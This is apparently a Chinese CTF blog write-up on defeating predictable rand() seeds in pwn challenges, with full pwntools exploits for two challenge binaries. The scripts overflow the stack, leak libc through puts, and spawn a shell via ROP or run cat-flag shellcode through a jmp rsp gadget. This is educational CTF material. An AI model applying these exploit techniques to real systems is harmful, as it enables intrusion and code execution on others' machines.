ctf-pwn 伪随机数绕过问题

一、随机数的生成

rand()函数,生成伪随机数的范围在0到RAN_DMAX之间,这个最大值依赖于所指定的库,一般至少为32767,该随机数的生成依赖于种子,也就是说,如果种子一样,生成的随机数序列就一样,所以是伪随机数,当然很多题目会把时间作为种子,以此增加随机性。

srand()函数,初始化随机数发生器,用来设置rand函数的种子seed。系统在调用rand函数时,会先调用srand函数,如果没有就会默认种子为1。

这里是种子为1时,可以看到生成了0到100内完全相同的随机数序列。

二、伪随机数绕过方法

1.由于随机数的生成依赖于种子,如果在一些题中种子可以被覆盖,那么我们就可以利用c语言去得到指定种子下的随机数序列,然后随机数的判断就很容易绕过了。

2.ctypes是Python内建的用于调用动态链接库函数的功能模块,通过调用该模块以及利用与题目相同的libc文件,来达到一个与题目中随机数生成方式相同的效果,实现撞库,这种方式下如果提前覆盖了指定种子,是更容易达成,如果直接设置时间种子撞库,可能存在时间对不上的情况,需要多测试几次。

三、2024 hgame week1 随机数(两种方法)

可以看到主程序第一个输入点在buf位置,并且可以覆盖到seed位置,满足99次随机数相同即可通过,进入myread漏洞函数。

myread函数非常明显的栈溢出,可以得到libc基址等等条件。

那么先看第一个覆盖种子后,写c语言得到随机数序列的脚本。

from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn4')
elf=ELF('./pwn4')
libc=ELF('./libc.so.6')
def bug():
	gdb.attach(p)
	pause() 
rdi=0x0000000000401423
read=0x40125d
a=[84,87,78,16,94,36,87,93,50,22,63,28,91,60,64,27,41,27,73,37,12,69,68,30,83,31,63,24,68,36,30,3,23,59,70,68,94,57,12,43,30,74,22,20,85,38,99,25,16,71,14,27,92,81,57,74,63,71,97,82,6,26,85,28,37,6,47,30,14,58,25,96,83,46,15,68,35,65,44,51,88,9,77,79,89,85,4,52,55,100,33,61,77,69,40,13,27,87,95]
p.recvuntil(b'Menlina: Well tarnished, tell me thy name.')
payload=b'\x00'*0x12
#bug()
p.send(payload)

for i in range(len(a)):
    p.recvuntil(b'Please guess the number:\n')
    p.send(p32(a[i]))
p.recvuntil(b"Here's a reward to thy brilliant mind.")
payload=b'a'*(0x30+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(read)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
payload=b'a'*(0x30+8)+p64(rdi)+p64(binsh)+p64(rdi+1)+p64(system)
p.sendline(payload)
p.interactive()

这里要注意,覆盖种子时填充的垃圾数据长度,以及用p32()打包为四字节,同时payload中也要用p32()打包发送的数字,因为程序中并没用使用atoi函数给转化为数字,并且发送的数字与系统生成的要完全一致,这里通过gdb看。这里是种子为0的情况。

然后看第二个利用覆盖种子后利用模块撞库的脚本。

from pwn import*
import ctypes
context(os='linux', arch='amd64', log_level='debug')
p=process('./pwn4')
elf=ELF('./pwn4')
libc=ELF('./libc.so.6')
def bug():
	gdb.attach(p)
	pause() 
rdi=0x0000000000401423
read=0x40125d
p.recvuntil(b'Menlina: Well tarnished, tell me thy name.')
payload=b'\x00'*10+b'a'*4+p32(1)
#bug()
p.send(payload)

elf1=ctypes.CDLL("libc.so.6")
elf1.srand(1)

for i in range(99):
    payload = p32(elf1.rand()%100+1)
    p.recvuntil(b'Please guess the number:\n')
    p.send(payload)
p.recvuntil(b"Here's a reward to thy brilliant mind.")
payload=b'a'*(0x30+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(read)
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))
system = libc_base + libc.symbols['system']
binsh = libc_base +next(libc.search(b'/bin/sh'))
payload=b'a'*(0x30+8)+p64(rdi)+p64(binsh)+p64(rdi+1)+p64(system)
p.sendline(payload)
p.interactive()

这里是种子为1的情况

四、nssctf RANDOM

看到sandbox()函数,判断有沙盒保护,依然是判断几次随机数后进入栈溢出漏洞函数

遇到execve直接结束。不过haha函数中的跳转栈顶还是很值得利用的。

首先这道题不能覆盖种子,需要利用模块以时间为种子去撞库。

之后因为execve被禁,system,one_gadget都失效了,那么可以调用cat指令,打开flag文件,并填充垃圾数据到返回地址,将返回地址覆盖为haha函数,然后使rsp指针向下减0x30,到达预先写入的cat flag的指令,并call rsp,执行打开flag文件的shellcode。汇编指令需要用asm()转化为机器码,然后下面是exp:

from pwn import*
import ctypes
context(os='linux', arch='amd64', log_level='debug')
p=process('./RANDOM')
#p=remote('node5.anna.nssctf.cn',28250)
elf=ELF('./RANDOM')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
	gdb.attach(p)
	pause() 

elf1=ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6")
elf1.srand(elf1.time(0))    #与题目相同以时间为种子
payload = str(elf1.rand()%50)

p.recvuntil(b'please input a guess num:')
p.sendline(payload)
p.recvuntil(b"your door")
jmp = 0x40094E # jmp rsp  #haha函数
shellcode = asm(shellcraft.cat('flag'))
shellcode = shellcode.ljust(0x28,b'\x00')
payload = shellcode + p64(jmp) + asm('sub rsp, 0x30; call rsp')
#bug()
p.sendline(payload)
p.interactive()

  • 22
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符串漏洞、整溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

江屿..

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值